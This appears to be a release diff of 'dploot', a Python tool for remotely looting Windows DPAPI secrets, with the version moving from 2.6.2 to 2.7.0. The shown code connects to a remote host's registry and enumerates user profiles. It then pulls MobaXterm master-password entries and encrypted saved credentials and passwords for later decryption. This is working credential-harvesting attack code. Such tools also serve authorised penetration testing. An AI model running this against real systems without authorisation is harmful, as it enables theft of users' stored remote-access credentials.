+ keyHandle = ans2["phkResult"]
274
+ value = rrp.hBaseRegEnumValue(self.conn.remote_ops._RemoteOperations__rrp, keyHandle,0)
275
+ name, host = value["lpValueNameOut"].split("@")
276
+ mobaxterm_masterpassword_key = MobaXtermMasterPassword(
277
+ winuser=user,
278
+ entropy=entropy,
279
+ host=host,
280
+ username=name,
281
+ masterpassword_raw_value=b"".join(value["lpData"])
282
+ )
283
+ rrp.hBaseRegCloseKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle)
284
+ except Exception as e:
285
+ if logging.getLogger().level == logging.DEBUG:
286
+ import traceback
287
+ traceback.print_exc()
288
+ logging.debug(str(e))
289
+
290
+ # Extract C and P
291
+ for key in [self.mobaxterm_credentials_registry_key, self.mobaxterm_passwords_registry_key]:
292
+ ans2 = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, ntpath.join(regKey,key), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
293
+ keyHandle = ans2["phkResult"]
294
+ i = 0
295
+ while True:
296
+ try:
297
+ value = rrp.hBaseRegEnumValue(self.conn.remote_ops._RemoteOperations__rrp, keyHandle, i)
298
+ data = b''.join(value["lpData"]).decode('latin-1')
299
+ name = value["lpValueNameOut"].rstrip("\00")
300
+ if ":" in data:
301
+ username, password_encrypted = data.split(":")
302
+ mobaxterm_credential = MobaXtermCredential(
303
+ winuser=user,
304
+ name=name,
305
+ username=username,
306
+ password_encrypted=password_encrypted,
307
+ )
308
+ else:
309
+ mobaxterm_credential = MobaXtermPassword(
310
+ winuser=user,
311
+ username=name,
312
+ password_encrypted=data
313
+ )
314
+ mobaxterm_credentials.append(mobaxterm_credential)
315
+ i += 1
316
+ except rrp.DCERPCSessionError as e:
317
+ if e.get_error_code() == ERROR_NO_MORE_ITEMS:
318
+ break
319
+
320
+ return mobaxterm_masterpassword_key, mobaxterm_credentials
321
+
322
+ @property
323
+ def users(self) -> List[str]:
324
+ if self._users is not None:
325
+ return self._users
326
+
327
+ users = dict()
328
+ userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList"
329
+
330
+ self.conn.enable_remoteops()
331
+ ans = rrp.hOpenLocalMachine(self.conn.remote_ops._RemoteOperations__rrp)
332
+ regHandle = ans['phKey']
333
+
334
+ ans = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, userlist_key, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
335
+ keyHandle = ans['phkResult']
336
+
337
+ sids = []
338
+
339
+ i = 0
340
+ while True:
341
+ try:
342
+ ans2 = rrp.hBaseRegEnumKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle, i)
343
+ sids.append(ans2["lpNameOut"])
344
+ except rrp.DCERPCSessionError as e:
345
+ if e.get_error_code() == ERROR_NO_MORE_ITEMS:
346
+ break
347
+ except Exception as e:
348
+ if logging.getLogger().level == logging.DEBUG:
349
+ import traceback
350
+ traceback.print_exc()
351
+ logging.error(e)
352
+ i +=1
353
+ rrp.hBaseRegCloseKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle)
354
+ for sid in sids:
355
+ ans = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, ntpath.join(userlist_key,sid), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
356
+ keyHandle = ans['phkResult']
357
+ _, profile_path = rrp.hBaseRegQueryValue(self.conn.remote_ops._RemoteOperations__rrp, keyHandle, 'ProfileImagePath')
358
+ if r"%systemroot%" in profile_path:
359
+ continue
360
+ users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0")
361
+ rrp.hBaseRegCloseKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle)
362
+
363
+ self._users = users
364
+
365
+ return self._users
@@ -1,6 +1,6 @@
1
1
  [tool.poetry]
2
2
  name = "dploot"
3
- version = "2.6.2"
3
+ version = "2.7.0"
4
4
  description = "DPAPI looting remotely in Python"
5
5
  readme = "README.md"
6
6
  homepage = "https://github.com/zblurx/dploot"
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes